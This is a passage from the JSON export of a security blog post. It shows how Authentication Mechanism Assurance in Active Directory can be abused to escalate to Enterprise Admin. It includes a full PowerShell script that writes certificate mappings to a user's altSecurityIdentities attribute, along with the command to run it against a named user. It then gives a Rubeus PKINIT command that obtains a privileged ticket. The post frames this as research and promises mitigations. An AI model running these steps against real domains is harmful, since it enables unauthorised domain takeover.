#D32F2F\">-<\/span><span style=\"color: #24292EFF\">ErrorAction Stop<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">Process<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">If<\/span><span style=\"color: #24292EFF\"> (<\/span><span style=\"color: #1976D2\">$PSCmdlet.ParameterSetName<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-ieq<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;Certificate&quot;<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        $Certs.Add($Certificate)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">ElseIf<\/span><span style=\"color: #24292EFF\"> (<\/span><span style=\"color: #1976D2\">$PSCmdlet.ParameterSetName<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-ieq<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;File&quot;<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        $Cert <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #D32F2F\">X509Certificate2<\/span><span style=\"color: #24292EFF\">]::new($File.FullName)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        $Certs.Add($Cert)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">Else<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        $OFD <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #D32F2F\">OpenFileDialog<\/span><span style=\"color: #24292EFF\">]::new()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        $OFD.InitialDirectory <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$PSScriptRoot<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        $OFD.AutoUpgradeEnabled <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$true<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        $OFD.Title <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;Select certificates&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        $OFD.Filter <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;Certificates (*.cer;*.crt)|*.cer;*.crt&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        $OFD.Multiselect <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$true<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        <\/span><span style=\"color: #D32F2F\">If<\/span><span style=\"color: #24292EFF\"> ($OFD.ShowDialog() <\/span><span style=\"color: #D32F2F\">-ne<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #D32F2F\">DialogResult<\/span><span style=\"color: #24292EFF\">]::OK)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            <\/span><span style=\"color: #D32F2F\">throw<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;User cancelled out of file dialog&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        <\/span><span style=\"color: #D32F2F\">Foreach<\/span><span style=\"color: #24292EFF\"> ($FileName <\/span><span style=\"color: #D32F2F\">in<\/span><span style=\"color: #24292EFF\"> $OFD.FileNames)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            $Cert <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #D32F2F\">X509Certificate2<\/span><span style=\"color: #24292EFF\">]::new($FileName)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            $Certs.Add($Cert)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">End<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $AltSecId <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #D32F2F\">List<\/span><span style=\"color: #24292EFF\">[<\/span><span style=\"color: #D32F2F\">String<\/span><span style=\"color: #24292EFF\">]]::new()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $IssuerSerialNumberFormat <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;X509:&lt;I&gt;{0}&lt;SR&gt;{1}&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $SKIFormat <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;X509:&lt;SKI&gt;{0}&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">Foreach<\/span><span style=\"color: #24292EFF\"> ($Cert <\/span><span style=\"color: #D32F2F\">in<\/span><span style=\"color: #24292EFF\"> $Certs)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        <\/span><span style=\"color: #D32F2F\">If<\/span><span style=\"color: #24292EFF\"> ($MappingType <\/span><span style=\"color: #D32F2F\">-ieq<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;IssuerSerialNumber&quot;<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            $Issuer <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> $Cert.IssuerName.Format(<\/span><span style=\"color: #1976D2\">$true<\/span><span style=\"color: #24292EFF\">) <\/span><span style=\"color: #D32F2F\">-split<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;`r?`n&quot;<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-join<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;,&quot;<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-replace<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;,$&quot;<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #22863A\">&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            $ReversedSerial <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> ($Cert.GetSerialNumber() <\/span><span style=\"color: #D32F2F\">|<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">%<\/span><span style=\"color: #24292EFF\"> { <\/span><span style=\"color: #22863A\">&quot;{0:X2}&quot;<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-f<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$_<\/span><span style=\"color: #24292EFF\"> }) <\/span><span style=\"color: #D32F2F\">-join<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            $IssuerSerialString <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> $IssuerSerialNumberFormat <\/span><span style=\"color: #D32F2F\">-f<\/span><span style=\"color: #24292EFF\"> $Issuer<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> $ReversedSerial<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            <\/span><span style=\"color: #22863A\">&quot;Adding &#39;{0}&#39;&quot;<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-f<\/span><span style=\"color: #24292EFF\"> $IssuerSerialString <\/span><span style=\"color: #D32F2F\">|<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #6F42C1\">Write-Verbose<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            $AltSecId.add($IssuerSerialString)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        <\/span><span style=\"color: #D32F2F\">Else<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            $SKI <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$null<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            $SKI <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> [<\/span><span style=\"color: #D32F2F\">X509SubjectKeyIdentifierExtension<\/span><span style=\"color: #24292EFF\">]$Cert.Extensions[<\/span><span style=\"color: #22863A\">&quot;2.5.29.14&quot;<\/span><span style=\"color: #24292EFF\">]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            <\/span><span style=\"color: #D32F2F\">If<\/span><span style=\"color: #24292EFF\"> ($SKI <\/span><span style=\"color: #D32F2F\">-eq<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$null<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">                <\/span><span style=\"color: #D32F2F\">throw<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;Could not find the SubjectKeyIdentifier extension on certificate with thumbprint {0}.&quot;<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-f<\/span><span style=\"color: #24292EFF\"> $Cert.Thumbprint<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            $SKIString <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> $SKIFormat <\/span><span style=\"color: #D32F2F\">-f<\/span><span style=\"color: #24292EFF\"> $SKI.SubjectKeyIdentifier<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            <\/span><span style=\"color: #22863A\">&quot;Adding &#39;{0}&#39;&quot;<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-f<\/span><span style=\"color: #24292EFF\"> $SKIString <\/span><span style=\"color: #D32F2F\">|<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #6F42C1\">Write-Verbose<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            $AltSecId.Add($SKIString)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $Hash <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">@<\/span><span style=\"color: #24292EFF\">{altSecurityIdentities <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> $AltSecId.ToArray()}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $Operation <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;Add&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #D32F2F\">If<\/span><span style=\"color: #24292EFF\"> ($Replace)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        $Operation <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;Replace&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        <\/span><span style=\"color: #D32F2F\">If<\/span><span style=\"color: #24292EFF\"> ($User.altSecurityIdentities <\/span><span style=\"color: #D32F2F\">-ne<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$null<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-and<\/span><span style=\"color: #24292EFF\"> $User.altSecurityIdentities.Count <\/span><span style=\"color: #D32F2F\">-gt<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">0<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">            <\/span><span style=\"color: #22863A\">&quot;Replacing the following altSecurityIdentities values on user {0}:`n`n{1}&quot;<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-f<\/span><span style=\"color: #24292EFF\"> $User.DistinguishedName<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> ($User.altSecurityIdentities <\/span><span style=\"color: #D32F2F\">-join<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;`n&quot;<\/span><span style=\"color: #24292EFF\">) <\/span><span style=\"color: #D32F2F\">|<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #6F42C1\">Write-Warning<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">        }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $Params <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">@<\/span><span style=\"color: #24292EFF\">{$Operation <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> $Hash}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    $User <\/span><span style=\"color: #D32F2F\">|<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #6F42C1\">Set-ADUser<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Server $Domain @Params<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Execute the script as below and replace &lt;HASH&gt; with the hash of the certificate obtained in the previous step.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#2f363c\">PowerShell<\/span><span role=\"button\" tabindex=\"0\" data-code=\".\\Set-AltSecurityIdentities.ps1 -Identity CASO -MappingType IssuerSerialNumber -Certificate (ls Cert:\\CurrentUser\\My\\&lt;HASH&gt;)\" style=\"color:#24292eff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki min-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #24292EFF\">.<\/span><span style=\"color: #6F42C1\">\\Set-AltSecurityIdentities.ps1<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Identity CASO <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">MappingType IssuerSerialNumber <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Certificate (ls Cert:\\CurrentUser\\My\\<\/span><span style=\"color: #D32F2F\">&lt;<\/span><span style=\"color: #24292EFF\">HASH<\/span><span style=\"color: #D32F2F\">&gt;<\/span><span style=\"color: #24292EFF\">)<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>We&#8217;re now set to perform the abuse, performing a PKINIT with the certificate we obtained should get us authenticated by the KDC as &#8216;caso@nttest.chrisse.com&#8217; and with the additional SIDs of &#8216;Enterprise Admins (AMA)&#8217; and &#8216;Enterprise Admins&#8217; (RID 519) &#8211; mening we should now be an Enterprise Admin within the Active Directory Forest.<\/p>\n\n\n\n<p>Using Rubeus to obtain a TGT using the certificate added to altSecId (altSecurityIdentities) of the user &#8216;caso@nttest.chrisse.com&#8217; &#8211; Replace &lt;HASH&gt; with the hash of the certificate obtained in the previous step.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#2f363c\">cmd.exe<\/span><span role=\"button\" tabindex=\"0\" data-code=\"rubeus asktgt \/user:CASO \/certificate:&lt;HASH&gt; \/enctype:aes256 \/createnetonly:C:\\Windows\\System32\\cmd.exe \/show\" style=\"color:#24292eff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki min-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #24292eff\">rubeus asktgt \/user:CASO \/certificate:&lt;HASH&gt; \/enctype:aes256 \/createnetonly:C:\\Windows\\System32\\cmd.exe \/show<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>You should now see something similar to the screen below, the cmd launched by rubeus should now have &#8216;Enterprise Admin&#8217; privileges and you should be able to add a user to &#8216;Domain Admins&#8217; as stated in the example.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"581\" src=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-4-1024x581.png\" alt=\"\" class=\"wp-image-1205\" srcset=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-4-1024x581.png 1024w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-4-300x170.png 300w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-4-768x435.png 768w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-4-1536x871.png 1536w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-4.png 1582w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p><strong>Summary<\/strong><br>Authentication Mechanism Assurance (AMA) is a good feature if being deployed correctly for the reasons mentioned in the beginning of this post, binding strong privileges to certificate based authentication and just in time is a good thing for sure &#8211; the question remains what can we do to prevent the abuse of Authentication Mechanism Assurance (AMA) as described and demonstrated in this blog post? It&#8217;s possible if you design your Public Key Infrastructure the right way and how it integrated with Active Directory and we&#8217;re going to cover some alternatives on how this can be mitigated in coming blog posts.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"584\" src=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-5-1024x584.png\" alt=\"\" class=\"wp-image-1207\" srcset=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-5-1024x584.png 1024w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-5-300x171.png 300w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-5-768x438.png 768w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-5-1536x876.png 1536w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/02\/image-5.png 1554w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>One important key-take-away here is that this works even that the CA used to obtain the certificate is NOT trusted in NTAuth &#8211; it&#8217;s  unfortunately enough that the CA it self is trusted by on the KDCs.<\/p>\n\n\n\n<p>Next blog post handles a slightly different abuse method that according to me is even worse using Key Trust &#8211; <a href=\"https:\/\/blog.chrisse.se\/?p=1215\">When your Enterprise PKI becomes one of your enemies (Part 4)<\/a><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp;Authentication Mechanism Assurance (AMA) introduction&nbsp;Authentication Mechanism Assurance (AMA) was added to Active Directory or more specifically the KDC in Windows Server 2008 R2 &#8211; this feature enables that a SID of an Universal Security Group is being added to a users token, and being added only if the user (or computer) authenticate against the KDC &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/blog.chrisse.se\/?p=1187\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;When your Enterprise PKI becomes one of your enemies (Part 3)&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[36],"tags":[6,30],"class_list":["post-1187","post","type-post","status-publish","format-standard","hentry","category-public-key-infrastructure-pki","tag-active-directory","tag-pki"],"_links":{"self":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts\/1187","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1187"}],"version-history":[{"count":20,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts\/1187\/revisions"}],"predecessor-version":[{"id":1229,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts\/1187\/revisions\/1229"}],"wp:attachment":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1187"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1187"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1187"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}